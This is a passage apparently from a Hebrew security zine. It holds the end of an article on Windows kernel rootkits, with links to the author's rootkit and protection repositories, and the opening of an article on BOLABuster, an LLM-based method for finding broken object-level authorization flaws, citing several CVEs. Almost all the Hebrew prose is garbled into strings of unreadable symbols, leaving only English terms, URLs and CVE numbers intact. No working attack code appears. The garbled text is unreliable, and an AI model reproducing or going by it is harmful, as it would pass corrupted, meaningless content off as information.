˟ˣ˷˥ ˶ˣ˩ˤ˪ ˣ˲ˣ˯˟˷ ˪˷ ˶˟ˡ ˨˶ˡˢ ˧˩ˢ ˢ˪˧˰˧ ˰˴˟˪ ˣˢ˷ˬ ˢˤ˩ ˞˧ˢ ˨˶ˡ ˢ˦˧˷ ˱˞˷ ˡ˥˞ ˡ˥˞ ˞˪ ˢ˪˧ˠ x˞ 

˰ˡ˧ ˢ˧˪˰ Σ˸ˣ˦˧˷˷ˣ ˢ˪˞˩ ˷ˣˬ˧ˬ˟ ˶ˣ˟˰ ˢ˵ˤˣˮ ˣˮ˧ˬ˧˟ ˣˤ˧ˢˢ ˪˰ ˧ˡ˧ ˸ˮ˩ˣ˸ ˢˮˠˢ ˢ˟ˣ˦ ˫˰ ˸ˣ˶ˡˠˢˢ 

˸ˣˮˣ˩ˮˢ Φ˷˧ ˸ˣ˶˷˰ ˫˧˩˶ˡ ˰˴˟˪ ˸ˣ˶˦ˬ ˸ˣˮˣ˷ ˱˵ˣ˸˷ ˢ˴˶˧ ˰˴˟˪ ˪˩˟ ˦˟˧ˢ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Σ˭˧˟ 

˶˸˧ˢ ˫ˠ ˟πInter-component Communication Σ˭˩˪ˣ ˨˧˶˴ ˶ˣ˥˟˪ ˸˞ ˨˶ˡˢ ˢˬ˧˞˸ˬˢ ˧˲˪ ˢ˶˵ˬˢ Φ˧˲˩ 

˭˸˧ˮ˷ ˸ˣ˞˶˪ ˸ˣ˵ˤˣˮ˟ ˧˸˞˶ˢ˷ ˨˶ˡ ˸˶ˣ˷˵˸ˢ ˢ˸˧˧ˢ ˢ˧˴˪ˣ˲˧ˮˬ ˪˷ ˫˧˩˶ˡ ˧˸ˮ˧˧˴˷ ˫ˡ˵ˣˬ ˶˸ˣ˧ ˶ˬ˞ˬ˟ 

˫˰ ˫˧˧ˣˮ˧˷ ˸ˣˬ˞˸ˢˣ ˧ˡ˩ ˨ˣ˲ˢ˪ ˪˩ ˵˪˥ ˸˶ˣ˷˵˸˟ ˧˞˷˥˪ ˶˸ˣ˧Φ 

file://Device/Tcp
file://Device/Tcp
file://Device/Tcp
file://Device/Udp
file://Device/Udp
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 ˶˟˥ˬˢ ˪˰ 

 ˭˟му˟ ˢˮ˩ˣ˸ ˯ˡˮˢˬ ,-Checkpoint Software ˸˟˧˟˯˟ ˶˵˥ˬˣ ˥ˣ˸˧˲ˢ ˧ˬˣ˥˸˟ ˡˣ˞ˬ ˭˧˧ˮ˰˸ˬ .

Lowlevel˷ ˰ˡ˧ˢ ˸˞ ˥˸˲˪ ˡˣ˞ˬ ˭˧˧ˮˣ˰ˬ .˰ˡ˧ˬ ˸˥˦˟˞ˣ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ , ˥˸˲˸ˢ˪ ˧ˡ˩ ˡˣ˰ ˡˣˬ˪˪ˣ ˧˪

 ˪˰ ˧˸ˡ˟˰ ˧˪˷ ˫˧˧ˤ˩˶ˬˢ ˫˧˦˵˧ˣ˶˲ˢ ˭˧˟ .˫ˣ˥˸˟rootkit  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪Windows 10  ˞˧˟˥ˢ˪ ˧ˡ˩

 .˸ˣ˶˥˞ˣ ˧˪˷ ˣˬ˩ ˸ˣ˧˪ˮ˶˵ ˸ˣ˵ˤˣˮˬ ˢˮˠˢ˪ ˸˩˶˰ˬ ˧˸˥˸˧˲ ˫ˠ˷ ˭˩ˣˬ˩ ,˸˷˶ ˸˶ˣ˟˰˸ˣ ˫˧˴˟˵ ,˫˧˩˧˪ˢ˸

˶ ˫˧˧ˬ˧ˮ˲ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬˣ ˫˧˶˟˧˧˶ˡ ˧˸˶˵˥ˣ ˧˸˥˸˧˲ ˨˩˪ ˱˯ˣˮ˟˫˧˟. 

˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˫˧˦˵˧ˣ˶˲ˢ ˣ˪˞ˢ ˫˧˶˥˞ˣ ˡˣˬ˰˟ ˟˞ˢ˦˧ˠˢ ˧˪˷ Υ https://github.com/shaygitub 

˭˸˧ˮ ˶ˣ˴˧˪ ˧˸˧˞ ˶˷˵ ˨˶ˡ ˪˧˧ˬ˧˞ˢ ˧˪˷Υ  shaygilat@gmail.com 

ˣ˞ ˨˶ˡ ˡˣˬ˰ ˧˞ˡ˵ˮ˧˪ˢ ˭˧˪˷Υ 67b727281-gilat-https://www.linkedin.com/in/shay 

 
 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

¶ ˶ˣ˵ˬ ˫˰ ˢ˟˶ˢ ˸ˣ˞ˬˠˣˡ ˪˷ ˧˩˶ˡ ˸˶ˣ˷˵˸ x˟ ˧˸˷ˬ˸˷ˢ ˨˶ˣ˞˪ ˬ˞ˬˢ:˶ 

https://github.com/adspro15/km-um-communication 

¶ ˦˵˧ˣ˶˲ ˢ˞˶ˬˢ ˞ˬˠˣˡ ˸˶ˣ˷˵˸˪ ˸˶ˤ˰˟ IOCTLΥ 

https://code.google.com/archive/p/ioctlfuzzer 

¶ ˦˵˧ˣ˶˲ ˧˪˷ ˢˡˣ˟˰ˬ˷ ˣ˧˪˰ ˧˸ˡˬ˪ ˸˞ ˪˩ ˢˬ ˧˸˶˟˯ˢ˷ ˶ˬ˞ˬ˟: 

https://github.com/shaygitub/windows-rootkit 

¶ ˸ˬˠˡˢ ProtectionSolution ˣ˟˷ ˧˸˷ˬ˸˷ˢ ˸ˣ˞˶ˢ˪ ˢˮˠˢ ˡˠˮ  SSDT HooksκIRP Hooks Υ 

https://youtu.be/Hzb8JwXWe4U?si=_ugzg-ERs9scY9pD 

¶ ProtectionSolutionΥ 

https://github.com/shaygitub/ProtectionSolution 

¶ ˭ˣ˦˶˯ ˶˴ˣ˧ˢˬ null ˪˰ intercomponent communication ˸˶ˤ˰˟ SSDT hookΥ 

https://youtu.be/KNGr4m99PTU?si=chmm-K-qloLns9OO 

˫˧˶ˣ˷˧˵ ˫˧˶ˬ˞ˬ˪ ˫˧ˬˡˣ˵ˢ ˧˪˷ ˫˧˵˲˯ˬ˷ ˰ˡ˧ ˟ˣ˷˥ ˧˞˷ˣˮ˟ Windows Internals ˫˧˪ˣ˩˧ˣ ˶ˣˤ˰˪ ˭˧˟ˢ˪ 

˶˸ˣ˧ ˟ˣ˦ ˸˞ ˭˩ˣ˸ ˶ˬ˞ˬˢ ˢˤˢΥ 

https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf 

https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf 

https://digitalwhisper.co.il/files/Zines/0xA4/DW164-3-ReverseWinDrivers.pdf 

https://digitalwhisper.co.il/files/Zines/0xA5/DW165-1-ReversingWindowsKernel-Part4.pdf 

https://github.com/shaygitub
mailto:shaygilat@gmail.com
https://www.linkedin.com/in/shay-gilat-67b727281
https://github.com/adspro15/km-um-communication
https://code.google.com/archive/p/ioctlfuzzer
https://github.com/shaygitub/windows-rootkit
https://youtu.be/Hzb8JwXWe4U?si=_ugzg-ERs9scY9pD
https://github.com/shaygitub/ProtectionSolution
https://youtu.be/KNGr4m99PTU?si=chmm-K-qloLns9OO
https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf
https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf
https://digitalwhisper.co.il/files/Zines/0xA4/DW164-3-ReverseWinDrivers.pdf
https://digitalwhisper.co.il/files/Zines/0xA5/DW165-1-ReversingWindowsKernel-Part4.pdf
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BOLABuster Υ˞ˣ˴ˬ˪ BOLA ˪˧˧˵˯˟ ˸˶ˤ˰˟ LLMs 

˸˞ˬ ˡ˧˟˶ ˭ˣˤˬ 

 

ˢˬˡ˵ˢ 

˶ˬ˞ˬ˟ ˢˤ ˠ˧˴˞ ˸˞ ˶˵˥ˬˢ ˥ˣ˸˧˲ˢˣ ˪˷ ˢ˧ˠˣ˪ˣˡˣ˸ˬ ˧˸˞˶˵˷ ˢ˪ BOLABuster Σ˸˷ˬ˸˷ˬˢ ˟πLLMs 

˧ˣˢ˧ˤ˪ ˸ˣ˷˪ˣ˥ BOLA ύx˞ ˫ˬ˷˟ ˞˪ˬˢ ΥBroken Object-Level Authorization όˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ˪˧˧˵˯˟ˣ 

ˢˢˣ˟ˠΦ 

˧ˮ˲˪ ˪ˣ˪˴ˮ˷ ˪˞ ˢ˧ˠˣ˪ˣˡˣ˸ˬˢ ˢˬ˴˰ Σˠ˧˴˞ ˸˞ ˢ˧˴˟˧˦ˣˬˢ ˫˧˶ˠ˸˞ˢˣ ˫˧˟˶ˢ ˧˸˶˟˰˷ ˣ˸ ˩˥ˣ˸˧˲ˢ Σ

˱ˣ˯˟˪ˣ ˸˞ sπEvaluation ˪˞ ˪ˣˬ ˵ˣ˷ˢ ˸ˣ˷˪ˣ˥ˢˣ ˧˸˲˷˥˷ ˷ˣˬ˧˷˟ ˟πBOLABuster ˡ˰ ˢ˩Φ 

BOLA ύx˞ ˢˬ˷˟ ˫ˡˣ˵ˢ IDOR Σό˞˧ˢ ˢ˷˪ˣ˥ ˢ˴ˣ˲ˮ ˸˪˰˟ˣ ˪˞˧˴ˮ˦ˣ˲ ˧˦˧˶˵ ˟πAPIs ˫˧˧ˮ˶ˡˣˬ ˟xπWeb 

Applications Φ˞˧ˢ ˸ˠ˶ˣˡˬ ˫ˣ˵ˬ˟ ˭ˣ˷˞˶ˢ ˸ˬ˧˷˶˟ sπOWASP API 10Top Σˣ˫ˣ˵ˬ˟ ˧˰˧˟˶ˢ ˸ˬ˧˷˶˟ 

˸ˣ˷˪ˣ˥ˢ ˸ˣ˥ˣˣˡˬˢ ˶˸ˣ˧˟ ˪˰ ˧˲ HackerOne Φ˸ˣ˩˪˷ˢˢ ˪˷ ˪ˣ˴˧ˮ ˢ˷˪ˣ˥ ˠˣ˯ˬ BOLA ˸ˣ˪ˣ˩˧ ˸ˣ˧ˢ˪ 

˸ˣ˧ˮ˯˶ˢ Σˢ˪˥ ˬπData Manipulation ΣSensitive Data Exposure ˡ˰ˣ ˪πFull System CompromiseΦ 

ˡˣ˰˟ ˪ˣ˴˧ˮ˷ ˧ˮˡ˧ ˪˷ ˸ˣ˷˪ˣ˥ BOLA ˞ˣˢ ˨˶ˡ˟ ˪˪˩ ˦ˣ˷˲ Σ˧ˣˢ˧ˤ ˧˦ˬˣ˦ˣ˞ ˪˷ ˢ˷˪ˣ˥ ˢ˷ˡ˥ ˢˣˣˢˬ ˶ˠ˸˞ 

˪ˣˡˠ ˸ˣ˟˧˯ˢˬ ˸ˣ˞˟ˢΥ 

¶ The complexities of application logic 

¶ The diverse range of input parameters 

¶ The stateful nature of modern web applications 

˸ˣ˟˧˯ˬ ˣ˪˞ Σ˸ˣ˦˧˷ ˸ˣ˧˸˶ˣ˯ˬ ˣˬ˩ Fuzzing xπStatic Analysis ˭ˮ˧˞ ˸ˣ˪˧˰˧ ˧ˣˢ˧ˤ˟ BOLAs Σˢˬ ˨˲ˣˢ˷ ˸˞ 

˧ˣˢ˧ˤˢ ˧ˮˡ˧ˢ ˢ˦˧˷˪ ˸˪˟ˣ˵ˬˢ ˫ˣ˧˩Φ ˸ˮˬ ˪˰ ˡˡˣˬ˸ˢ˪ ˫˰ ˫˧˶ˠ˸˞ ˣ˪˞ Σˣˮ˞ ˫˧˪˴ˮˬ ˸˞ ˸ˣ˪ˣ˩˧ ˭ˣ˧ˠ˧ˢˢ 

ˢ˧˴˶ˮˠˢˣ ˪˷ LLMs ˧ˡ˩ ˨ˣ˲ˢ˪ ˸ˣˬ˧˷ˬ ˡ˰˷ ˢ˩ ˣ˷˰ˮ ˢ˶ˣ˴˟ ˸˧ˮˡ˧ ˸˧˦ˬˣ˦ˣ˞˪ Φ˸ˣˬ˧˷ˬ ˣ˪˞ ˸ˣ˪˪ˣ˩ ˸˞ 

˫˧˶˟ˡˢ ˫˧˞˟ˢΥ 

¶ Understanding application logic 

¶ Identifying endpoint dependency relationships 

¶ Generating test cases and interpreting test results 
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˪˰ ˧ˡ˧ ˟ˣ˪˧˷ ˪˷ LLMs ˫˰ ˸ˣ˵˧˦˯˧˶ˣ˧ Σˢ˦˧˷ˢ ˧˪˷ ˸˶˷˲˞ˬ ˧ˣˢ˧ˤ ˧˦ˬˣ˦ˣ˞ ˞˪ˬ ˪˷ BOLA ˢˮ˵˟ ˢˡ˧ˬ 

˟˥˶Φ ˸ˣ˶ˬ˪ ˶˵˥ˬˢ˷ ˞˴ˬˮ ˫˧˟˪˷˟ ˫˧˧ˮˣ˷˞˶ Σ˧˸˥˪˴ˢ ˱ˣ˷˥˪ ˡ˰ ˢ˩ мт ˸ˣ˷˪ˣ˥ BOLA ˸ˣ˷ˡ˥ Σ˭ˢ 

˫˧˦˵˧ˣ˶˲˟ ˫˧˧ˬ˧ˮ˲ ˭ˢˣ ˡˣ˵˟ ˥ˣ˸˲ Φ˭˧˟ ˸ˣ˷˪ˣ˥ˢ ˧˸˲˷˥˷Υ 

¶ Grafana (CVE-2024-1313) 

¶ Harbor (CVE-2024-22278) 

¶ Easy!Appointments (CVE-2023-3285 to CVE-2023-3290, CVE-2023-38047 to CVE-2023-

38055)  

 

BOLA ˢ˧˴˟˧˦ˣˬˢˣ ˶˵˥ˬ˪ 

ˢ˷˪ˣ˥ ˠˣ˯ˬ BOLA ˸˷˥˶˸ˬ ˶˷˞˩ sπAPI ˪˷ ˢ˧˴˵˧˪˲˞ ˞˪ ˥˧˪˴ˬ ˸ˬ˞˪ ˫˞ ˷ˬ˸˷ˬ˪ ˷˧ ˸˞ 

˸ˣ˞˷˶ˢˢ ˸ˣˮˣ˩ˮˢ ˸˷ˠ˪ Σ˸ˣˮ˷˪ x˞ ˵ˣ˥ˬ˪ ˦˵˧˧˟ˣ˞ ˫ˣ˷˧˧˟Φ 

˫˧˷˶˸ м ˫˧ˠˡˬ ˢˬˠˣˡ ˢ˦ˣ˷˲ ˪πBOLA Φ˫ˣ˷˧˧˟ ˧˞ˣ˲˶ ˢˤ Σ˫˧˪˲ˣ˦ˬ ˫˧˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˟πAPI  ˭˲ˣ˞˟˞˟ˢ :

api.clinic[.]site/get_history?visit_id=XXXX ˸ˮˬ ˪˰ ˸˷ˠ˪ ˸ˣ˶˰ˢ˪ ˪˷ ˞˲ˣ˶ ˶ˣ˵˧˟ˬΦ 

˪˩ ˪˲ˣ˦ˬ ˨˧˶˴ ˸˷ˠ˪ ˵˶ ˸ˣˬˣ˷˶˪ ˸ˣ˧˞ˣ˲˶ˢ ˣ˪˷ Φ˫˰ ˸˞ˤ Σ˫˞ ˸˶˷ˢ ˣˮ˧˞ ˥˧˪˴ˬ ˸ˬ˞˪ ˸˞ ˢ˵˧ˠˣ˪ˢ ˣˤˢ 

˧ˣ˞˶˩ Σ˪˲ˣ˦ˬ ˧ˮˣˡˤ ˧ˣ˷˰ ˸ˣˮ˷˪ ˸˞ ˶˦ˬ˶˲ˢ visit_id ˢ˷˵˟˟ ˧ˡ˩ ˸˷ˠ˪ ˫˧ˮˣ˸ˮ˪ ˪˷ ˪˲ˣ˦ˬ ˶˥˞ Φ˫˧˷˶˸ 

м ˠ˧˴ˬ ˢ˧˴˪ˣ˲˧ˮˬ xʕ ˸˞˧˶˵˟ API ˸˧ˮˣˡˤΥ 

 

˫˧˷˶˸] м: ˞ˬˠˣˡ ˸˧˯˞˪˵ ˪πBOLAώ 

https://unit42.paloaltonetworks.com/new-bola-vulnerability-grafana/
https://grafana.com/security/security-advisories/cve-2024-1313/
https://unit42.paloaltonetworks.com/bola-vulnerability-impacts-container-registry-harbor/
https://nvd.nist.gov/vuln/detail/CVE-2024-22278
https://unit42.paloaltonetworks.com/bola-vulnerabilities-easyappointments/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3285
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3290
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38047
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38055
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38055
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˞ˬˠˣˡ ˸˲˯ˣˮ ˢ˷˪ˣ˥˪ ˠˣ˯ˬ BOLA ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˷˧˥˶˸ˢ ˣ˟˷ ˷ˬ˸˷ˬ˪ ˢ˴˵ ˞ ˷˧ ˸˞ ˸˪ˣ˩˧ˢ ˨ˣ˶˰˪ x˞ 

˵ˣ˥ˬ˪ ˢ˟ˣˠ˸ ˪˷ ˷ˬ˸˷ˬ ˢ˴˵ ˟ Σˢ˧˴˵˧˪˲˞˟ ˣˬ˩ ˶˦˧ˣˣ˦ ˞ˬˠˣˡ˪Φ 

˭˟ˣˬ˩ ˷ˬ˸˷ˬ˪˷ ˢ˴˵ ˞ ˞˪ ˣˬ˞ˢ˶ ˸ˣ˧ˢ˪ ˢ˞˷˶ˢ ˰˴˟˪ ˢ˪ˣ˰˲ ˸˧ˮˣˡˤ xʕ Σˢ˟ ˞ˣˢ ˰˴˟ˬ ˢ˧˴˪ˣ˲˧ˮˬ 

˦˵˧˧˟ˣ˞˟ ˞˪˷ ˨˧˧˷ x˪ ύˢ˶˵ˬ˟ ˢˤˢ ˢ˟ˣˠ˸ Σόˢˡ˧ˬ˟ ˫ˣ˷˧˧ˢˣ ˪ˢˮˬ ˸˞ ˸ˣ˞˷˶ˢ ˧˷ˬ˸˷ˬ ˢ˴˵ˢ ˢ˶ˣ˴˟ 

ˢˮˣ˩ˮ ˢ˥ˣ˦˟ˣ Φ 

˸ˣ˶ˬ˪ ˭ˣ˧˰˶ˢ˷ ˪˷ BOLA ˞ˣˢ ˦ˣ˷˲ Σˢ˧˴ˬˣ˦ˣ˞ ˪˷ ˣ˧ˣˢ˧ˤ ˢ˟˧˴ˬ ˫˧˶ˠ˸˞ ˫˧˧˸ˣ˰ˬ˷ˬ Φˡˣˠ˧ˮ˟ ˸ˣ˷˪ˣ˥˪ 

ˣ˴ˣ˲ˮ ˸˸ˣ˶˥˞ ˭ˣˠ˩ XSS ΣSQL Injection x˞ Buffer Overflow Σ˫˧˪˩ ˸˵˧ˡ˟˪ ˢ˥˦˟˞ ˣˬ˩ SAST xπDAST ˫ˮ˧˞ 

˫˧˪ˣ˩˧ ˸ˣˢˤ˪ BOLAs ˸ˣ˪˧˰˧˟ Φ˫˧˪˩ ˣ˪˞ ˫˧˩ˬ˸˯ˬ ˪˰ ˫˧˯ˣ˲ˡ ˸ˣ˧ˣˠˢˮ˸ˢˣ ˸ˣ˶˩ˣˬ ˪˷ ˸ˣ˷˪ˣ˥ˢ Σ˫ˮ˧˞˷ 

˫˧˪˥ ˪˰ BOLAs Φ˭˩˪ˣ ˭˧˞ ˧˪˩ ˧˦ˬˣ˦ˣ˞ ˰ˠ˶˩ ˧ˣˢ˧ˤ˪ BOLAsΦ 

˱˯ˣˮ˟ Σ˭˧˞ ˸˶ˠ˯ˬ ˧˲˥ˣ˸ ˢ˪ˣ˩˧˷ ˰˧˧˯˪ ˫˧˥˸˲ˬ˪ ˸˰˧ˮˬ˟ BOLAs Φˢ˞˴ˣ˸˩ ˨˩ˬ Σ˧˸ˣˣ˴ ˢ˥˦˟˞ ˫˧˩˧˶˴˷ 

˰˴˟˪ Auditing ˪˰ BOLAs ˫˧˟˧˧˥ ˶ˣ˴˧˪ ˧˶˵ˬ ˢ˵˧ˡ˟ ˫˧ˬ˞˸ˣˬ ˸˧˷˧˞ ˭˲ˣ˞˟ ˧ˮˡ˧ Φ 

ˢˡ˟ˣ˰ˢ ˷πBOLA ˡˣ˞ˬ ˸˧˶˪ˣ˲ˣ˲ Σ˸ˣ˩˪˷ˢˢ ˸ˣ˧˦˧˶˵ˢ ˢ˪˷ ˢˡ˟ˣ˰ˢˣ ˭˧˞˷ ˫ˣ˧˩ ˧˪˩ ˞˴ˣˬ˷ ˸ˣ˷˪ˣ˥ ˢ˪˞ 

ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ˪˧˧˵˯˟ˣ Σ˭ˢ ˸ˣ˟˧˯ˢ ˣ˰˧ˮˢ˷ ˸˞ ˶˵˥ˬˢ ˸˞ˣ ˢ˞˴ˣ˸ˢ ˣ˪˷ π ˢ˧ˠˣ˪ˣˡˣ˸ˬ ˸˞˴ˣˬ˷ BOLA 

ˢ˶ˣ˴˟ ˢˮ˧ˬ˞ Σ˸˧˦ˬˣ˦ˣ˞ ˪˧˧˵˯˟ˣ ˢˢˣ˟ˠ Φ 

 

 ˸˞˧˴ˬ˪ ˢ˧˴ˬˣ˦ˣ˞˟ ˫˧˶ˠ˸˞ˢBOLAs 

˶˲˯ˬ ˫˧˶ˠ˸˞ ˫˧˧ˮ˩˦ ˫˧ˬ˶ˣ˸ ˧˷ˣ˵˪ ˢ˧˴ˬˣ˦ˣ˞˟ ˪˷ ˧ˣˢ˧ˤ BOLA Σ˫ˢˣΥ 

мΦ ˧ˮˣˮˠˮˬ ˸ˣ˞˷˶ˢ :˫˧˟˩˶ˣˬ APIs ˫˧˧ˮ˶ˡˣˬ ˫˧˪˪ˣ˩ ˫˧˸˰˪ ˣ˟ˣ˶˵ ˸˧ˮˣˮˠˮˬ ˸ˣ˞˷˶ˢ ˫˧˟˩˶ˣˬ ˫˧˪˪ˣ˩ˢ 

˫˧ˠˣ˯ ˫˧ˮˣ˷ ˪˷ ˫˧˷ˬ˸˷ˬ ύUsers Σό˫˧ˡ˧˵˲˸ ύRoles Σό˫˧˟˞˷ˬ ύResources ό˸ˣ˪ˣ˰˲ˣ ύActions ό

˫˧˟ˣ˶ˬ Φ˸ˣ˟˩˶ˣˬ xʕ ˢ˷˵ˬ ˪˰ ˫˧˵ˡˣ˟ ˰ˣ˟˵˪ ˣ˪˧˞ ˸ˣ˪ˣ˰˲ ˷ˬ˸˷ˬ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˢ˷˶ˣˬ ˰˴˟˪ ˪˰ 

˟˞˷ˬ ˫˧ˣ˯ˬ ˣ˪˧˞ˣ ˸ˣ˪ˣ˰˲ ˸ˣ˶ˣ˯˞Φ 
 

нΦ Stateful Applications: ˟ˣ˶ sπWeb Applications ˫˧˧ˮ˶ˡˣˬˢ ˫ˢ Stateful Σ˶ˬˣ˪˩ ˪˩ ˸˞˧˶˵ API 

ˢ˪ˣ˩˧ ˸ˣˮ˷˪ ˸˞ sπstate ˪˷ ˫ˣ˷˧˧ˢ ˰˧˲˷ˢ˪ˣ ˪˰ ˸ˣ˞˴ˣ˸ ˸ˣ˞˧˶˵ API ˸ˣ˶˥˞ Φ˫˧˪˧ˬ˟ ˸ˣ˶˥˞ Σ

ˢ˟ˣˠ˸ˢ ˢ˞˧˶˵˪ ˸˥˞˪ ˸ˣˡˣ˵ˮˬ ˢ˴˵ˢ ˪˷ sπAPI ˢ˧ˣ˪˸ ˸ˣ˞˴ˣ˸˟ ˰ˣ˴˧˟ˢ ˪˷ ˸ˣˡˣ˵ˮ ˢ˴˵ ˸ˣ˶˥˞ ˪˷ 

πsAPI ύ˫˧˶˩ˣˤ ˸˞ ˠˣˡˢˢˬ ˪˷ ˢ˟ˣˠ˸ˢ ˶˦˧ˣˣ˦˟ Κˤ˞ ˧˞ ˶˷˲˞ ˵ˣ˥ˬ˪ ˢ˟ˣˠ˸ ˧ˮ˲˪ ˣˮ˶˴˧˷ ˢ˸ˣ˞ Σ

˭ˣ˩ˮ ΦόΚˢ˵˧ˠˣ˪ ˸˟˩˶ˣˬ xʕ ˸˟˪ˣ˷ˬ ˨˶ˡ˟ ˪˪˩ ˟πGUI ˣ˪ˣˬ ˡ˟ˣ˰ ˷ˬ˸˷ˬˢ Φˢ˯ˡˮˢ ˶ˣ˥˞˪ ˪˷ ˢ˵˧ˠˣ˪ˢ 

˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ ˪˷ sπAPI Spec ˟˵˰ˬˣ ˶˥˞ sπStates ˫˧ˮˣ˷ˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢ xʕ ˢˬ˧˷ˬ ˞˪ ˢ˦ˣ˷˲ 

˪˪˩˟Φ 
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оΦ ˶˯ˣ˥ ˦˵˧ˡˮ˧˞˫˧˶ˣ :˸ˣ˷˪ˣ˥˪ BOLA ˞˧ˢ ˢ˷˪ˣ˥ ˸˧ˠˣ˪ Φˢˤ ˶ˬˣ˞ ˭˧˞˷ ˢ˪ ˫˧˯ˣ˲ˡ ˫˧˰ˣˡ˧ ˧˪˩˷ SAST 

ˣ˞ Compilers ˫˧˪ˣ˩˧ ˸ˣˢˤ˪ Φ˭ˬˤ˟ ˢ˴˧˶ ΣBOLA ˢˮ˧˞ ˸ˬ˶ˣˠ ˸ˣ˞˧ˠ˷˪ x˞ ˢˠ˧˴ˬ ˸ˣˠˢˮ˸ˢ ˸˧˲˧˴˲˯ 

˸˲˷ˣ˥˷ ˸˞ ˸ˣ˧˰˟ˢ Φ˦˪˵ˢ ˦˪˲ˢˣ ˪˷ ˪ˣ˴˧ˮ ˥˪˴ˣˬ ˨˶ˡ˟ ˪˪˩ ˫˧ˬ˧˧˸˯ˬ ˸ˣ˷˵˟˟ ˸ˣ˥˪˴ˣˬStatus 

Code нлл x˭ˢ ˭ˮ˧˞ ˸ˣ˪˧˩ˬ Payloads ˫˧ˡˣ˷˥ Σˢˬ ˢ˷˵ˬ˷ ˪˰ ˧ˣˢ˧ˤ ˸ˣ˷˪ˣ˥ˢ Φ 
 

˨˧˞ ˫˧˰ˡˣ˧ ˢ˷πEndpoint ˣˮ˞˴ˬ˷ ˡˣ˷˥˩ ˪πBOLA ˸ˬ˞˟ ˰˧ˠ˲ Κˣˬ˩ ˢ˶ˬ˞˷ ˸˞˧˷ˮ Harvard ˶˟˰˷˪Υ 

It depends on the contextΦ 
 

пΦ ˫˧˦˪˵ ˫˧˷˧ˠ˶ ˪πContextΥ ˸˵˧ˡ˟ BOLA ˸˪˪ˣ˩ ˢ˧˴˪ˣ˲˧ˮˬ ˪˷ ˧˶˦ˬ˶˲ ˦˪˵ ˪˷ API endpoints ˧ˡ˩ 

˸ˣˢˤ˪ ˸ˣ˷˪ˣ˥ Φ˨˧˪ˢ˸ ˢˤ ˷˶ˣˡ ˧ˣˢ˧ˤ ˫˧˶˦ˬ˶˲ ˫˧˯˥˧˧˸ˬˢ ˫˧ˮˣ˸ˮ˪ ˫˧˷˧ˠ˶ ˸˵˲˯˞ˣ ˫˧˶˦ˬ˶˲ ˫˰ 

˫˧˩˶˰ ˫˧˧˵ˣ˥ ˰ˣ˴˧˟˪ ˸ˣ˵˧ˡ˟ˢ Φ 

ˣˮ˞ ˫˧˩ˬ˸˯ˬ ˨˞ ˵˶ˣ ˪˰ ˦˶˲ˬ sπAPI ύ˫ˣ˧˩ ˞˶˵ˮ API Spec Σ˶˟˰˟ ˞˶˵ˮ Swagger ό˧ˡ˩ ˭˧˟ˢ˪ ˸˞ 

˸ˣ˧˴˵ˮˣ˲ˢ ˫˧˶˦ˬ˶˲ˢˣ ˪˷ ˪˩ API endpoint Σˢˬ ˢ˷˵ˬ˷ ˪˰ ˢ˰˧˟˵ ˫˞ sπEndpoint ˢ˧ˣ˷˰ ˱ˣ˷˥˪ 

ˣ˞ ˸ˣˮ˷˪ ˫˧ˮˣ˸ˮ ˫˧˷˧ˠ˶ Φ˧ˢˣˤ ˵ˣ˧ˡ˟ ˢˡˣ˵ˮˢ ˢ˟˷ sπLLM ˯ˮ˩ˮ ˢˮˣˬ˸˪Φ 

˶˥˞˪ ˧ˣˢ˧ˤ ˸ˣˡˣ˵ˮ ˢ˴˵ˢ ˸ˣˡ˰ˣ˧ˬˢ ˫˧˶˦ˬ˶˲ˢˣ ˭ˢ˪˷ Σ˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˥ˣ˪˷˪ ˸ˣ˷˵˟ ˸ˣˡˣ˵ˮ˪ ˢ˴˵ˢ 

ˣ˪˪ˢ ˭ˣ˥˟˪ˣ ˸˞ ˸ˢ˭˸ˣˠˢˮ Φ˸˰˧˟˵ ˧˩˶˰ ˫˧˶˦ˬ˶˲ˢ ˫˧˧˲˧˴˲˯ˢ ˢ˵˧ˡ˟˪ ˞˧ˢ ˢ˷˵ ˭ˣˣ˧˩ˬ ˵˶˷ ˫˧˩˶˰ 

˫˧˲ˣˬˬ˷ ˫˧˦˵˧˧˟ˣ˞˪ ˫˧ˬ˧˧˵ ˸˩˶˰ˬ˟ ˫˧˪ˣ˩˧ ˪˧˰˲ˢ˪ BOLAs Φ˸˶˧˴˧ Payloads ˣ˪˞˩ ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ 

˸ˣ˰˴ˬ˞˟ ˸ˣ˵˧ˮ˩˦ Fuzzing ˸ˣ˧˸˶ˣ˯ˬ ˞˧ˢ ˫ˠ ˸˶ˠ˸˞ˬ Σ˫ˠˣ ˞˪ ˢ˪˧˰˧Φ 

  

https://swagger.io/specification/
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 ˸˧˧ˠˣ˪ˣˡˣ˸ˬBOLABuster -  ˧ˣˢ˧ˤBOLA  ˸˶ˤ˰˟AI 

˟˷˥˸ˢ˟ ˸ˣˬˡ˵˸ˢ˟ ˢˮˣ˶˥˞ˢ ˢˮ˧˟˟ ˸˧˸ˣ˩˞˪ˬ ˸˧˟˧˦˶ˮˠ ύGen AI ό˫˧˶ˠ˸˞˟ˣ ˪˷ ˢ˧˴ˬˣ˦ˣ˞ ˪˷ ˧ˣˢ˧ˤ 

